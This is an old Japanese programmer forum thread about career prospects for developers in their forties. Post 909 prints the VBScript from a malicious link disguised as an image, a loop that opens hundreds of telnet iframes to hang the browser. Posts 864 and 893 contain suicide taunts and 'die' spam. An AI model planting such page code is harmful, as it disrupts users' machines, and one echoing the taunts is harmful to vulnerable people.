840 ：仕様書無しさん：2006/10/30(月) 10:56:19

まぁ、４０代はなんとか仕事があるかもしれんが、いずれは終わるよね。
なら、今飛び立とうではないか。

841 ：仕様書無しさん：2006/10/30(月) 20:36:15

アーイキャーンフラーイ

842 ：仕様書無しさん：2006/10/31(火) 22:38:37

やっぱ、タクシーかトラックしかないか・・・
なんかな・・・

843 ：仕様書無しさん：2006/10/31(火) 23:50:25

>>842
一昔前は、夜警に転身するのが流行ったなぁ・・・

844 ：仕様書無しさん：2006/11/01(水) 00:17:56

きょーから　むしょくーー

845 ：仕様書無しさん：2006/11/01(水) 03:18:17

おれ、車の免許持ってない。

＿＿____　
|←樹海|
.￣.||￣　　　　　ｵﾜﾀ┗(^o^ )┓三
　　||　　　　　　　　　　　┏┗ 　三

846 ：仕様書無しさん：2006/11/01(水) 23:07:03

来年からトラックの免許が中型、大型とわかれるらしい
いま大型とっておけばお得だぜ

いまの大型の難易度＝新制度の中型
駆け込み需要で混んでるらしいけどなー

847 ：仕様書無しさん：2006/11/01(水) 23:29:32

俺のは最新型だぜ

848 ：仕様書無しさん：2006/11/02(木) 06:26:51

農民になりたい

849 ：仕様書無しさん：2006/11/02(木) 09:45:55

>>848
体力あるか？
無くとも体を鍛えながら働く意欲は？

ＰＧの方が楽だと思うよ。

850 ：仕様書無しさん：2006/11/02(木) 09:50:20

>>845
もうＩＴ業界という樹海には戻りたくありません。
あぶなく、クビ吊るとこだった。

851 ：仕様書無しさん：2006/11/02(木) 11:03:37

>>850
樹海から抜け出せたんだね。おめでと

852 ：仕様書無しさん：2006/11/02(木) 12:14:51

>>846
まじで？？？
大型とりたいな
時間ないよ

853 ：仕様書無しさん：2006/11/02(木) 14:34:06

俺の血液型はO型

＿＿____　
|←樹海|
.￣.||￣　　　　　ｵﾜﾀ┗(^o^ )┓三
　　||　　　　　　　　　　　┏┗ 　三

854 ：仕様書無しさん：2006/11/03(金) 02:35:34

約５２２億円の累積赤字を抱え、経費削減に取り組んでいる大阪市のバス事業で、
０５年度の市職員の運転手約１２００人の平均年収が約８０３万円と、民営バスの
全国平均を約３２０万円上回っていることが分かった。運転手の約１割が年収１千
万円を超えている。これまで民間への事業委託によるコスト削減を目指してきたが、
民営化への圧力が一層強まりそうだ。

大阪市バスの運転手の平均年収は０３年度が約８１１万円、０４年度が約８２６万円。
「全国の公営バスで最高クラス」と批判を受け、手厚い各種手当の一部を見直した
結果、０５年度の平均年収は約２３万円下がったが、公営バスの全国平均約７５０
万円、民営バスの約４７９万円（ともに国交省調べ）と比べて依然、高水準だ。

年収１千万円以上の運転手は前年度の４割近くに減ったものの、１２３人にのぼる。

他の政令指定市では、名古屋市が約８０２万円（０５年度）、横浜市が約７５０万円
（同）。関西では３億円以上の黒字を出している京都市が約７４０万円（０５年）など
となっている。

大阪市交通局は経費削減のため、０６年度までに全１１営業所のうち４営業所の
バス事業を市の第三セクター「大阪運輸振興」に委託。市職員以外に市ＯＢや契
約社員の運転手が０５年度では４６０人いるが、彼らの平均年収は職員のほぼ半
分の約４１５万円にとどまっている。

その他おソースで。
http://www.asahi.com/kansai/news/OSK200611020047.html

855 ：仕様書無しさん：2006/11/04(土) 11:55:13

タクシー・ドライバーとかトラックの運ちゃんって、７割が前科者だろ・・・

856 ：仕様書無しさん：2006/11/04(土) 12:16:33

>>855
何処の統計だよｗ

857 ：仕様書無しさん：2006/11/04(土) 16:25:40

大型取って何するつもりなんだ？

858 ：仕様書無しさん：2006/11/04(土) 19:02:29

長距離トラックの電飾をみると、
普通の感性とは違う気が。

859 ：仕様書無しさん：2006/11/05(日) 01:21:39

アメリカだと長距離トラックの運ちゃんは結構待遇いいんだよ

860 ：仕様書無しさん：2006/11/05(日) 02:41:37

コンボイって映画もあったなー

トラック野郎とは偉い違いｗ

861 ：仕様書無しさん：2006/11/06(月) 00:41:26

４５歳だけどブランクが１０年くらいある。
コボルしかできない。
現状、コボルの需要はあるの？

862 ：仕様書無しさん：2006/11/06(月) 02:49:19

ありまくり
どこでも入れるよ

863 ：仕様書無しさん：2006/11/07(火) 01:32:25

４０代後半で基本を取得しました。
未経験ですが、頑張ります。
まず、職を探さないと。
ダメかな・・・

864 ：仕様書無しさん：2006/11/07(火) 01:39:56

自殺したほうがいいんじゃない

865 ：仕様書無しさん：2006/11/07(火) 01:46:11

そういった彼はニートだった

866 ：仕様書無しさん：2006/11/09(木) 16:47:07

　　　　,.、　　 ,r 、　　　　ちゃんとついてきてくださ～い
　　　　　　,!　ヽ　,:'　ﾞ;
.　　　　　　!　　ﾞ, |　　 }
　　　　　　ﾞ;　　i_i　 ,/　　//￣｀～ ´⌒/
　　　　　 ,r'　　　　 `ヽ、.//　　樹　海　　/　　　　　　　　　　　　　　　　 , -- 、_
　　　　,i"　　　　　　　ﾞ//─～ , __ ,─´ 　　　　　　　　　, -- 、_　　 i・,、・　/
　　　　! ・　　　　・　　.//　　　　　　　　　　　　, -- 、._　　i・,、・　/　　ゝ____ノ
　　　　　ゝ_　ｘ　　　　_// 　　　　, -- 、._　　　i・,、・　/　　ゝ____ノ　　　::::'::::'::::
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867 ：仕様書無しさん：2006/11/15(水) 23:45:55

>>862 ３年後はどうする。
そういうおれは打つで壱年半急用中、終わった。

868 ：仕様書無しさん：2006/11/16(木) 23:52:28

４０代でPG？　キチガイだろ・・・
５０代スレもあるが、住人は廃人に違いない・・・

869 ：仕様書無しさん：2006/11/17(金) 12:00:12

神が使っている言語ってなによ？

870 ：仕様書無しさん：2006/11/17(金) 14:03:50

ruby

871 ：仕様書無しさん：2006/11/17(金) 14:22:05

この頃は C, Perl, Java。

872 ：仕様書無しさん：2006/11/26(日) 18:08:23

年上の部下は使いづらい。
同じスキルなら若いのを入れて欲しい。

873 ：仕様書無しさん：2006/11/26(日) 19:07:19

年上の部下は、干してクビ切ればいいよ。
百害あって一利ないから。

874 ：仕様書無しさん：2006/11/26(日) 19:15:59

そして、バカだけになった..orz

875 ：仕様書無しさん：2006/11/26(日) 19:20:17

４０代で設計しかできない奴（ろくな設計じゃないが）より、４０になっても
プログラミングにも興味もってる（寧ろやってる）人の方が俺は信頼できる。

876 ：仕様書無しさん：2006/11/27(月) 02:39:19

>>873
その後、自分が年下の上司に切られましたとさ

877 ：仕様書無しさん：2006/11/27(月) 07:22:07

>>873
管理能力無いのがにじみ出ているあなたの首が飛ばないかの方が心配です。

878 ：仕様書無しさん：2006/11/27(月) 09:47:20

実際アホの癖にプライドだけ高い派遣社員とかいるしな。
自分のスキルの低さとプライドの高さでデッドロック状態のオッサンｗ
結構いるだろ？

仕事できないのは許すから、こっちの仕事の邪魔をすんな。
何もしないでくれ頼むから。

879 ：仕様書無しさん：2006/11/27(月) 11:37:11

そして>>878がリストラされて
使えない派遣社員になる

880 ：仕様書無しさん：2006/11/27(月) 20:30:24

実際アホの癖にプライドだけ高い社員とかいるしな。
自分のスキルの低さとプライドの高さでデッドロック状態の
プロパ小僧（２０代）結構いるだろ？

暗中模索、体力勝負、権力主義。
外注で行ったら、３次開発開始と思いきや、２次開発のバグ修正で徹夜状態。
２次開発の外注は一人も居ない、まぁ逃げるわな。
面談の時、お前の面見てたら仕事なんて取らんよ。
じゃ、ﾊﾞｲﾊﾞｲ。

881 ：仕様書無しさん：2006/11/27(月) 22:05:43

わはは
自称フリーで実質無職の負けイヌｵｻｰﾝだらけｗ

882 ：仕様書無しさん：2006/11/28(火) 00:20:41

なにを
俺は社長だぞ

883 ：仕様書無しさん：2006/11/28(火) 00:30:39

ひとりでも社長

884 ：仕様書無しさん：2006/11/28(火) 11:26:29

ふたりでも参議院

885 ：仕様書無しさん：2006/11/28(火) 11:56:58

３人でも市民運動

886 ：仕様書無しさん：2006/11/28(火) 13:55:56

4人でも極道

887 ：仕様書無しさん：2006/11/28(火) 14:20:31

プロパに３０代のリーダーすら少なくなってる。
なんじぇ、２０代と一緒に仕事せにゃいかのだ。ｱﾎﾗｼ

888 ：仕様書無しさん：2006/11/28(火) 15:04:45

>>887
何が気に喰わないのか知らないが、多分お互い様だろう。

889 ：仕様書無しさん：2006/11/28(火) 16:54:55

５人でもろくでなし

890 ：仕様書無しさん：2006/11/28(火) 17:05:41

今の20代が40代になった頃、やっぱり老害扱いされるのかねぇ？

891 ：仕様書無しさん：2006/11/28(火) 17:32:16

今の20代は今の40代よりは期待が持てるよ
問題はこれから入ってくる今の10代だな

892 ：仕様書無しさん：2006/11/29(水) 09:32:07

それぞれ詳しく

893 ：仕様書無しさん：2006/11/29(水) 11:32:25

ジジーーーーーーーーーーーーーーーーーーーーーーーー
ジジーーーーーーーーーーーーーーーーーーーーーーーー
死死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね
死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね
死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ねね死
ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね死ね

894 ：仕様書無しさん：2006/11/29(水) 20:12:13

>>893
まだまだおわらんよ！

895 ：仕様書無しさん：2006/11/30(木) 19:50:41

４０代ＰＧ↓
　　　　　∩＿＿＿∩
　　　　　| ノshhajpipヽ
　　　　 /　　　―　　―ヽ　うちは　アタマ　悪いから
　　　　 | 　////( _●_)ミ　小学校の時から　廊下でおすわりばっかりだったかんにゃ。
　　　　彡、　　　　|∪|　ｌ　スクランブル交差点の真ん中でも　おすわりできるし。
　　　　　ヽ　　　　ヽノ /　
　　　　　/´　　ヽ、ｒ￣
　　　　ｒ　　ヽ、　 )　
　　　　ヽ、　　ヽヽ
　　　　　と二＿ノ_ノ

896 ：仕様書無しさん：2006/11/30(木) 20:52:55

４０過ぎても、ＣＯＢＯＬ→ＶＢに移行できれば、引く手数多。
私は今３０代後半ですが、仕事には困ったことがありません。
要は、おっさん、おばさんのプライド？切り替えが出来れば問題なし。
といいつつ、昔は２０代で３０代のおっさん、首切りしたが・・・

897 ：仕様書無しさん：2006/12/01(金) 13:08:59

COBOLもVBも知らないな。C, Java, Perl はよく使うけど。
この頃 Linux ばかり使ってるからVB知らなくて困ることはないな。

898 ：仕様書無しさん：2006/12/02(土) 14:00:35

VBの案件は単価低すぎ。
できるできない以前にやる気がしない。

899 ：仕様書無しさん：2006/12/04(月) 16:57:34

>>898
人月３０とかも平気であるしな。
まあ、大阪だけかもしらんが。

900 ：仕様書無しさん：2006/12/04(月) 18:09:31

ゲームボーイ全盛期は
ゲーム丸ごと開発で30万とか
どうやっても元が取れなさそうな案件がごろごろしてた

901 ：仕様書無しさん：2006/12/06(水) 00:08:18

そんなひどい仕事
誰がやるんだ？

902 ：仕様書無しさん：2006/12/10(日) 00:07:30

SEだったが死にかけたので今年で引退。
英語が堪能なのでそちらで派遣探す。
金にはならんがしゃあない。
４８歳・毒

903 ：仕様書無しさん：2006/12/10(日) 00:55:11

とあるゲーム会社から、１０人程度のプロジェクトリーダ兼Ｃ＋＋のＯＪＴ講師兼新プロジェクトの基本設計全般という内容で人月３０万が上限とか言われたんだが・・・

相手の話が終わる前に「断る」と言ったのだが、いまだに考え直すなら契約してやるとか上から目線の連絡がしつこいです
数倍の単価でもっと楽な仕事があと半年は続くんで、スケジュールも空かないといい続けてるんですが。
ゲーム会社の営業だか企画だかわからんが、こういうバカが実際に居て正直変な宗教の勧誘以上に迷惑なんですが・・・

904 ：仕様書無しさん：2006/12/10(日) 01:07:28

>>903
はっきり、安いと言えばいいんじゃない？

905 ：仕様書無しさん：2006/12/10(日) 01:39:54

>>903 その内容ならいくら安く見積もっても
月額6～70万は欲しいとこだな

906 ：仕様書無しさん：2006/12/10(日) 02:17:06

>>903
ゲーム会社ってどこでもそんなもんだよ

907 ：仕様書無しさん：2006/12/10(日) 12:53:05

>>906
アニメータ同様、ゲームが好きというモチで働くから？

908 ：仕様書無しさん：2006/12/10(日) 15:52:11

http://sneg4vip.com/ameloda/1165/319867.jpg

909 ：仕様書無しさん：2006/12/10(日) 16:52:23

>>908はHTMLファイル
<script type="text/vbscript">
for a=1 to 800
document.write("<iframe src=" + chr(34) + "telnet://www.microsoft.com:80" + chr(34) + ">")
next
</script>

910 ：仕様書無しさん：2006/12/10(日) 17:17:01

516 ：名無しさん＠七周年：2006/12/04(月) 13:49:29 ID:UxsrLzZ30
■欧米の常識　ｖｓ　日本の非常識■

１）派遣労働者が受け取る賃金は必ず正規以上と法定　ｖｓ　正規の半分以下
２）派遣労働が２年超だと直接雇用義務　ｖｓ　期限撤廃して無期限派遣
３）派遣のピンハネ率は１０％未満と法定　ｖｓ　ピンハネ率は自由、平均３０％以上

４）企業が支払う総額はガラス張り　ｖｓ　けっして派遣労働者に教えないブラックボックス
５）派遣労働者の巨大全国組合がある　ｖｓ　何も無い
６）派遣労働は事業拡大時などにのみ使うと法定　ｖｓ　正社員をクビにしてどんどん派遣に置き換えてよい

【漫画DB】第0弾フリーザ様に学ぶ派遣会社搾取問題
　http://www2.ranobe.com/test/src/up16740.jpg
小林よしのりに学ぶニート、フリータ、ネトウヨの将来。
　http://up2.viploader.net/pic/src/viploader367715.jpg.html
　http://up2.viploader.net/pic/src/viploader367716.jpg.html
　http://up2.viploader.net/pic/src/viploader367717.jpg.html
　http://up2.viploader.net/pic/src/viploader367718.jpg.html

911 ：仕様書無しさん：2007/01/22(月) 23:30:02

21の若輩に教えてほしいんだが人月とか人日とかどういう意味なんだ？

>>903
の場合一人頭月30万っていう認識であってるのか？

912 ：仕様書無しさん：2007/01/22(月) 23:37:40

>>911
仕事（エネルギー）の単位としてwh(ワットアワー・ワット時）ってのあるだろ。
あれと同じ構成。

913 ：911：2007/01/23(火) 00:52:43

>>912
ありがとう参考になりました。

914 ：仕様書無しさん：2007/01/27(土) 22:32:56

ソフト関係から離れて７年、今年で４６才・・・復帰は絶望的

パソコン設定や修理等の仕事はやってきましたが、使ってくれるところはありますか？
私がやってころは４０台はおろか３０台後半でさえ異様な感じでしたが

社員３年、フリーで１３年、ほとんど開発やってました。最後の単価は８０万ちょい
今思えば大した仕事やってなくて８０万、もったいなかったと、つくずく思います。

言語はアセンブラ、BASIC、FORTRAN、COBOL、VB、C（これが中心）
最後の使用マシンはUNIXでOSやネット周りも少々

現在LINUXとJABAを勉強中ですが、歳だからなかなか若い人のようには覚えられません。
クラスの継承とか全体がなんとなくわかった所です。

希望は５０万、最低４０万、無理かな
すでに昔のつてもなく飛び込みだときついでしょうね
来週から職安やネットで仕事探しです。

915 ：２３０：2007/01/27(土) 23:03:12

＞＞９１４
がんばれ！
そして過去に何があったのですか？
できればいろいろお聞きしたいことがたくさんあるのですが・・・・

プログラマの将来として。

916 ：仕様書無しさん：2007/01/27(土) 23:46:28

つくづく
JAVA
あたりを間違えている時点で悲哀を感じる。
しかし何も考えないでPG続けてると、そういう状況になるんだろうな。
使い捨てのフリーとしては８０は高い金額じゃないし。
やはり上流か。

917 ：仕様書無しさん：2007/01/28(日) 16:04:20

Ｃやれるなら組み込みいけばいいのに。新たな言語おぼえるより
重宝がられる。あっちは４０代ざらにいるって。漏れは３３で
JAVA、Ｃ、VBで生きてきたが、上流へはいけないと判断、組み込み転進を
考えてる。

918 ：仕様書無しさん：2007/01/28(日) 16:39:31

>>914　派遣やって人づて作れば？

919 ：仕様書無しさん：2007/01/28(日) 18:51:42

今３９歳、今年で４０ですが今後もフリーで続けて生きたいを考えています。
月６０を切る案件は断っています。
今はJava一本でも続けていけそうです。
後何年同じ状況かわかりませんが、C,、C++、組み込みも経験済みなので、
Javaで食えなくなってもすぐにそちらに移行できそうです。
中国人やインド人に攻め滅ぼされなければ生きていけるんじゃないかな。

920 ：仕様書無しさん：2007/01/28(日) 19:14:55

もうそろそろ　やばいよ
中国やインドが仕事持って行っている
大手は海外に子会社作ってるし

921 ：仕様書無しさん：2007/01/28(日) 19:36:28

>>920
小規模や組み込みに絞れば問題ないと思うが。

922 ：仕様書無しさん：2007/01/28(日) 19:49:37

日本では中国やインドに負ける気がしない。
情報漏洩の問題とかもあって、オフショアでやれる仕事は限られてる。

923 ：仕様書無しさん：2007/01/28(日) 20:05:36

>>922
下請けにしわ寄せが行くぐたぐたな管理で大丈夫なん？いう気はするけど。

924 ：仕様書無しさん：2007/01/28(日) 21:08:59

ｎｈｋ見てみろ！
いまインドのｉｔ業界の特集番組やってる

925 ：仕様書無しさん：2007/01/28(日) 21:58:48

>>924
　　　　　　　　　＼　　　∩─ｰ､　　　====
　　　　　　　　　　＼／　●　､_ ｀ヽ　　======
　　　　　　　　　　　/ ＼(　●　 ● |つ
　　　　　　　　　　　|　　 X_入__ノ　ミ　　　そんな餌で
　　　　　　　　　　　､　(＿／　　　ノ　/⌒l　　　　　俺様が
　　　　　　　　　　　 /＼＿＿＿ノﾞ＿/　 /　　=====　　クマ――る氏がんがれ!!
　　　　　　　　　　〈　　　　　　　　＿_ノ　　====
　　　　　　　　　　　＼　＼＿　　　　＼
　　　　　　　　　　　　　＼＿__）　　　　　＼　　　======　　　(´⌒
　　　　　　　　　　　　　　　　＼　　＿＿_ ＼＿＿　　(´⌒;;(´⌒;;
　　　　　　　　　　　　　　　　　＼＿＿＿）＿＿＿）(´;;⌒　 (´⌒;;　　ズザザザ

926 ：仕様書無しさん：2007/01/28(日) 22:18:11

勝てない・・・
つくづくそう思った。
大統領が科学者ってこと自体、文系天国の日本じゃ絶対にありえない。
どうしようもない脅威だ。

927 ：仕様書無しさん：2007/01/29(月) 10:11:02

インドのIT業界特集

http://www.nhk.or.jp/special/onair/070128.html
インドの衝撃
第１回　わき上がる頭脳パワー

再放送
2007年2月11日（日）深夜【月曜午前】0時40分～1時39分

928 ：仕様書無しさん：2007/01/31(水) 16:34:00

必要なら余分な所をすぱっと切り捨てられる理系が頭になる事は
つてとコネ重視の文系には脅威だろうな

929 ：仕様書無しさん：2007/02/01(木) 21:29:58

ほんの数年前まで、ここでインドが脅威になるぞって訴えても、
誰も相手にしてくれなかったっけなあ・・。

930 ：仕様書無しさん：2007/02/01(木) 21:35:06

インドの派遣会社で翻訳コーディネイターやった人が言うには、
インド人の性格は滅茶苦茶だって。
本当？

931 ：sage：2007/02/01(木) 22:03:12

4,5年前程前だったか、インド人PGをどこかのtv局が紹介していて
自分にはカレーくらいしかイメージがなかったから驚愕したのを
覚えているよ。

932 ：仕様書無しさん：2007/02/02(金) 00:37:48

ゼロを発見した国だし、ラマヌジャンとか出してるし
元々論理的な気質はある国なのかも知れん…

933 ：仕様書無しさん：2007/02/02(金) 10:43:17

>>931
やつらの思想は演繹よりは帰納だから、数学向きとは思えん。

934 ：仕様書無しさん：2007/02/02(金) 10:43:57

ぉぅ！
× >>931
○ >>932

935 ：仕様書無しさん：2007/02/03(土) 19:32:52

>>919
漏れはこの業界を去るつもりだ。別の道を探すよ。ｷｯﾊﾟﾘ!
技術うんぬんより、下請連鎖のドカタ商売にはうんざりさ。

936 ：仕様書無しさん：2007/02/03(土) 20:00:10

>>935
まあまあｗあまり無理するな
じゃあ他ですぐにできる仕事あるの？
俺はとりあえず他より金になるから当分続けるよ
で将来の夢はヘビメタのライブハウス経営

937 ：仕様書無しさん：2007/02/04(日) 12:53:23

>>935
俺もそうやって脱ＰＧしたクチだけど、実際は厳しいよ。
モタモタしてるとＰＧに戻る自信すら無くなってしまう。
会社を興すのも、口で言うよりずっと大変。まあ、楽しいけどね。

938 ：仕様書無しさん：2007/02/04(日) 21:45:58

俺は、40代、PG、フリー、童貞、ロリコン、アニメオタクだ。

最近太り気味で、頭も薄くなってきた。
数年後には、禿げとデブが付いて数え役満であがりだね。

40代、PG、フリー、童貞。これに禿げがつくとだな。

939 ：仕様書無しさん：2007/02/04(日) 21:52:59

>>938
今すぐ減量して、
スキンヘッド＋グラサンにしろ！それで少しは女が近寄る・・かもよ

940 ：仕様書無しさん：2007/02/05(月) 03:17:13

>１０人程度のプロジェクトリーダ兼Ｃ＋＋のＯＪＴ講師兼新プロジェクトの基本設計全般という内容で人月３０万が上限

なんだ、そりゃ？　

そういや大阪のほうで時給1350円のPGのハケンを募集しているアホ会社があったが
そことちゃうのん？

941 ：仕様書無しさん：2007/02/07(水) 14:27:55

復帰組みですが、安いけど単価50万の仕事がきまりました。
残業代は別途

942 ：仕様書無しさん：2007/02/07(水) 21:38:56

おめでと。
並でもしばらくは食いつなげられるだろ。

943 ：仕様書無しさん：2007/02/07(水) 22:02:36

>>941
おめでとう。素晴らしいじゃん
何なら俺におごってくれよ

944 ：仕様書無しさん：2007/02/10(土) 00:29:24

へっへっ、とうとうテスト要員になったぜ

945 ：仕様書無しさん：2007/02/10(土) 05:28:19

↑ﾏｼﾞｯｽｶ?

946 ：仕様書無しさん：2007/02/10(土) 09:20:27

俺は４０歳を前にしてコンピュータの仕事から外されたので退職し、
別の会社を探して入って一人でオフコンのお守りをして現在５７歳。

今は無理だろうけど、一人でＳＥ兼プログラマー兼オペレーターという
需要は結構あった頃。

947 ：仕様書無しさん：2007/02/11(日) 13:24:01

人生いろいろやねぇ。。

948 ：仕様書無しさん：2007/02/11(日) 21:10:14

>>946
あんた随分幸運やねえ。。今更警備員とかじゃ大変だしラッキーじゃん
でも、なぜ４０代スレに来てるんだ？

949 ：仕様書無しさん：2007/03/02(金) 19:31:51

ライブラリ管理って求人あるけど一体なにをやるんだろか？？
オレはＣＯＢＯＬながかったけど、オブジェクトのライブラリ管理ってことか？

950 ：仕様書無しさん：2007/03/11(日) 02:07:11

図書室の管理。

951 ：仕様書無しさん：2007/04/24(火) 16:03:04

２年ほど前、欝で辞めて、今復帰しようかどうか迷っています。
２年前までは、派遣、請負などをしていました。
復帰することは無茶、無謀ですか？

952 ：仕様書無しさん：2007/04/24(火) 17:18:28

空白期間をごまかせれば復帰は可能。
ただまた鬱になる可能性があると思うが。

953 ：仕様書無しさん：2007/04/24(火) 17:33:16

>>952 THX.
３食きちんと食って、睡眠不足起こさなきゃ大丈夫なはず。
問題はいろんな事を忘れていることだ。

954 ：仕様書無しさん：2007/04/25(水) 07:21:28

>>951 大丈夫？無理スンナ

955 ：仕様書無しさん：2007/04/30(月) 04:41:02

このスレも、おまいらももうすぐ終わりだに。
４０代ＰＧなぞ、いらん。

956 ：仕様書無しさん：2007/04/30(月) 10:44:17

>>955
そういうお前も何時かは40代になる。
その時までにアーリーリタイヤ出来る程の銭を稼ぐことが出来るか？
管理職になることが出来るか？
大手なら、窓際セクションみたいな所があって何とか喰っていくことはできるが
中小だとどうなるかな？
40で首切りにあうと、高卒でも厚生年金受給資格の25年払い込みの条件に
達しないから、65過ぎても何かしていかないと何の収入もない。
お前にも、いつか終わりの時はやってくる。

957 ：仕様書無しさん：2007/04/30(月) 13:26:24

PGとSEだけでシステムは出来ない

958 ：仕様書無しさん：2007/04/30(月) 23:42:31

営業が居ないといけないね

959 ：仕様書無しさん：2007/05/01(火) 07:46:24

営業イラネ

960 ：仕様書無しさん：2007/05/01(火) 08:30:40

営業イラネ

961 ：仕様書無しさん：2007/05/04(金) 17:11:38

営業いなくても開発出来るが
PG/SEがいないと開発出来ない

そして一番要らないのは一度もまともにコーディングも設計もテストさえもした事のないPM

あまりにも目茶苦茶なスケジュール引いてるもんだからコーヒー吹いたよ

962 ：仕様書無しさん：2007/05/04(金) 17:32:46

40PGがオブジェクト指向わからんくて
うんこみたいなコードしか書けないので
全部やり直しにさせた(直るのかどうか不明だがｗ)

963 ：仕様書無しさん：2007/05/04(金) 21:21:25

>>962
出来の悪いヤツに仕事任せてるオマエが悪い。

964 ：仕様書無しさん：2007/05/04(金) 21:22:18

ムチャw

965 ：仕様書無しさん：2007/05/04(金) 21:38:37

類は友を呼ぶ　ﾙｲﾙｲ
だな

966 ：仕様書無しさん：2007/05/05(土) 03:25:13

>>962
マジに言うが、40代PGはテスト要員(バグ潰し)にまわすと良いよ。
歳食ってる分の経験は糞でも持っているから、目の付け所が
俺らとは違っていて意外とキチンと見つけて対処が出来る。

奴らあら探しは大好きだからなw
向こうもプライド保てるようで、職場の雰囲気が一気に良くなったよ。
曲線も予定通りのカーブを描いてくれるし、ちょっとだけ見直した>40代

967 ：仕様書無しさん：2007/05/05(土) 08:23:37

>>966
お前ももうすぐそういう立場になるんだがな

968 ：仕様書無しさん：2007/05/05(土) 11:18:51

そうか？今の30代がテスト要員になってもバグなんか見つけらんないと思うけどね
目の付け所が違わないからさw

969 ：仕様書無しさん：2007/05/05(土) 12:16:57

10年なんて「もうすぐ」さ。

970 ：966：2007/05/05(土) 14:53:43

>>967
是非なりたいね。
35歳で「用済み宣告」されるよりは
テスターでも生き残れるのであれば、本望だよ。

971 ：仕様書無しさん：2007/05/05(土) 18:49:39

私の立場から言うと、
40代のPGは居てもいいと思うより、欲しい。
但し、一人だけ。アドバイザー的に立場で。
しかも、プロジェクト立ち上げて、１期終わりには、辞めて欲しい。
単価高いしね。
また、いくら早くも、効率の良いコーディングでも、
メンテしづらいのを強引に勧める人はいらない。
保守にお金は掛けれない。新人レベルでも出来るような感じにしといて貰いたい。

972 ：仕様書無しさん：2007/05/05(土) 21:12:45

漏れ見たいにひねくれ４０代ＰＧだと、見てみぬ振りをするけどね。
もちろん降りかかる火の粉は全力で振り払うけど。
まぁ、カットオーバー時には存在しないのがベストだな。

973 ：仕様書無しさん：2007/05/05(土) 21:48:56

救えないと最初から分かるというのは経験のなせる業か

974 ：仕様書無しさん：2007/05/05(土) 22:55:33

>>971
えらい虫がいいな。オマエのプロジェクト理想が高くて脱走者多いんじゃね？ｗ

975 ：仕様書無しさん：2007/05/05(土) 22:56:15

４０代のプログラマーって、
既にパソコンの周辺機器だよな。

976 ：仕様書無しさん：2007/05/05(土) 23:26:01

>>975
まぁ頑張って休まず働いてくれ

977 ：仕様書無しさん：2007/05/05(土) 23:30:13

本体より周辺機器の方が生き残ったりするしな

978 ：仕様書無しさん：2007/05/06(日) 10:10:25

FDDだけは確かにそういえるか。

979 ：仕様書無しさん：2007/05/06(日) 12:16:30

>>また、いくら早くも、効率の良いコーディングでも、
>>メンテしづらいのを強引に勧める人はいらない。
世の若人は自分の理解できないコードは認めないよな。
だらだらな、クラスたちのコードを数十行にしたら、
翌日、「弊社のやり方にしてください」とメール来てた。
「はいはい、御社のやり方にしますよん」
自信を持って間違った事を言われると反論する気にもなれん。ﾆﾔﾆﾔ
まぁ、短い間の付き合いだしなぁ～。

980 ：仕様書無しさん：2007/05/06(日) 13:38:31

とりあえず
保守が一番技術力が要求される
という結論にまだ至っていない人が居ることはわかった。

981 ：仕様書無しさん：2007/05/06(日) 14:36:28

少子化、人材不足でまだまだ働き盛りｗの４０代の時代がやってくるのかも…

982 ：仕様書無しさん：2007/05/06(日) 15:31:17

一部では既に始まってます＞＜

983 ：仕様書無しさん：2007/05/06(日) 16:12:47

４０代ＰＧがやたら多いんだわ、なんで？

984 ：仕様書無しさん：2007/05/06(日) 16:24:40

無能でも就職バブル期にどっと入社したから
これがまた使えない連中なんだな

985 ：仕様書無しさん：2007/05/06(日) 17:35:40

保守というよりはジャンク漁りな。